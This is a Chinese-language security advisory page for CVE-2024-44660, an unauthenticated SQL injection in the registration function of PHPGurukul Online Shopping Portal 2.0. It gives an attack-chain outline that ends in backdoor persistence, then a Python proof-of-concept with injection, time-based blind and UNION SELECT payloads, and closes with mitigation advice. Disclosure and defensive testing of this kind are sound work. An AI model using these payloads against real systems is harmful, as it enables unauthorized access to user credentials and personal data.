IPBUF安全漏洞报告
English
CVE-2024-44660 CVSS 6.5 中危

CVE-2024-44660 PHPGurukul Online Shopping Portal 2.0 SQL注入漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2024-44660
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Online Shopping Portal 2.0

相关标签

SQL注入PHPGurukulOnline Shopping PortalCVE-2024-44660网络攻击无需认证login.php数据库漏洞Web应用安全身份认证绕过

漏洞概述

CVE-2024-44660是PHPGurukul在线购物门户2.0版本中的一个中等严重性安全漏洞。该漏洞存在于login.php文件的用户注册功能中,攻击者可以通过fullname(姓名)、emailid(电子邮箱)和contactno(联系电话)参数注入恶意SQL代码。由于该应用在处理用户输入时未对特殊字符进行充分的过滤和转义,导致SQL注入攻击成为可能。攻击者无需任何认证即可利用此漏洞,通过构造特定的SQL payloads,可以绕过登录验证、提取数据库中的敏感信息,包括用户凭证、个人数据、订单信息等。此漏洞的CVSS评分为6.5,属于中等严重性级别。考虑到攻击复杂度较低(AC:L),且无需认证(PR:N)和用户交互(UI:N),该漏洞在实际环境中容易被利用,对系统的机密性和完整性造成一定风险。建议受影响的用户及时采取防御措施,避免敏感数据泄露和未授权访问。

技术细节

PHPGurukul Online Shopping Portal 2.0的login.php文件在处理用户注册请求时,存在多处SQL注入漏洞。漏洞主要出现在以下三个参数:fullname、emailid和contactno。攻击者可以通过在注册表单中提交包含SQL元字符的恶意输入来触发漏洞。例如,在fullname字段中注入类似"admin' OR '1'='1"的payload,或者在emailid字段中构造SQL语句片段,能够破坏原有SQL查询的语法结构,从而执行任意SQL命令。该漏洞的根本原因在于应用程序直接使用用户输入构建SQL查询语句,未使用参数化查询(Prepared Statements)或适当的输入验证机制。在实际攻击中,攻击者可能利用UNION SELECT语句从数据库中提取管理员账户和哈希密码,或者使用时间盲注(Time-based Blind SQL Injection)技术逐步获取数据库内容。由于漏洞存在于登录/注册功能,攻击者还可能通过注入绕过身份验证机制,以管理员权限访问后台系统。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站使用的技术栈,确认是否为PHPGurukul Online Shopping Portal 2.0,并定位login.php文件
STEP 2
步骤2: 访问注册页面
攻击者访问login.php页面,找到用户注册功能入口,准备构造恶意请求
STEP 3
步骤3: 构造SQL注入payload
攻击者在fullname、emailid或contactno参数中注入SQL代码,如使用UNION SELECT、时间盲注或布尔盲注等技术
STEP 4
步骤4: 绕过认证获取敏感数据
通过SQL注入提取数据库中的用户信息、密码哈希、管理员凭证等敏感数据
STEP 5
步骤5: 横向移动和权限提升
利用获取的管理员账号登录后台系统,进一步控制整个应用程序和服务器
STEP 6
步骤6: 持久化控制
攻击者可能在服务器上部署后门程序或修改数据库内容,实现长期持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-44660 SQL Injection PoC # Target: PHPGurukul Online Shopping Portal 2.0 # Endpoint: login.php (Registration functionality) # Vulnerable Parameters: fullname, emailid, contactno import requests import sys def test_sql_injection(url): """ Test for SQL injection vulnerability in registration form """ target_url = f"{url}/login.php" # SQL Injection payloads for different parameters payloads = { 'fullname': "admin' OR '1'='1", 'emailid': "[email protected]' AND SLEEP(5)-- -", 'contactno': "1234567890' OR '1'='1" } # Normal registration data data = { 'fullname': 'Test User', 'emailid': '[email protected]', 'contactno': '1234567890', 'password': 'TestPass123', 'submit': 'Register' } print(f"[*] Testing target: {target_url}") print("[*] Testing SQL Injection vulnerability...\n") # Test each parameter for param, payload in payloads.items(): test_data = data.copy() test_data[param] = payload print(f"[*] Testing parameter: {param}") print(f"[*] Payload: {payload}") try: response = requests.post(target_url, data=test_data, timeout=10) if response.status_code == 200: print(f"[!] Potential vulnerability found in {param}") print(f"[!] Response length: {len(response.text)} bytes\n") else: print(f"[-] No obvious vulnerability detected\n") except requests.exceptions.Timeout: print(f"[!] Time-based blind SQL injection possible in {param}") print(f"[!] Request timed out (5+ seconds)\n") except Exception as e: print(f"[-] Error: {e}\n") # Extract database version using UNION-based injection print("[*] Attempting to extract database information...") union_payload = "' UNION SELECT NULL,version(),user(),database()-- -" test_data = data.copy() test_data['emailid'] = union_payload try: response = requests.post(target_url, data=test_data, timeout=10) if '5.' in response.text or '8.' in response.text: print("[!] Database information extracted successfully") print("[!] Vulnerability confirmed: SQL Injection is exploitable") except: pass if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2024-44660.py <target_url>") print("Example: python cve-2024-44660.py http://localhost:8080") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target)

影响范围

PHPGurukul Online Shopping Portal 2.0

防御指南

临时缓解措施
在正式补丁发布前,可采取以下临时缓解措施:1) 在Web服务器层面配置SQL注入检测规则,拦截包含SQL特殊字符的请求;2) 临时禁用注册功能或限制注册功能仅对受信任的IP开放;3) 加强对数据库的监控和审计,及时发现异常查询行为;4) 实施IP黑名单机制,阻止已知恶意IP地址的访问;5) 考虑部署双因素认证机制,即使凭证泄露也能保护账户安全;6) 定期备份数据库,以便在发生数据泄露时能够快速恢复。建议尽快关注官方安全公告,获取正式的漏洞修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表